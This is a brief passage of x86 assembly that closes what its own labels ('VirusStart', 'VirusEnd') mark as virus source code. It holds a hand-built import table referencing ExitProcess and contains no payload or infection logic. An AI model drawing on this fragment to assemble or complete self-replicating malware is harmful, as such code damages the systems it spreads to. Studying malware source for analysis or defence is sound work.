FirstThunk0:
dd offset szFunctionName-400000h
dd 0
FirstThunk1:
dd offset szFunctionName-400000h
dd 0
szFunctionName:
dw 75h
db 'ExitProcess',0,0,0
VirusEnd:
end VirusStart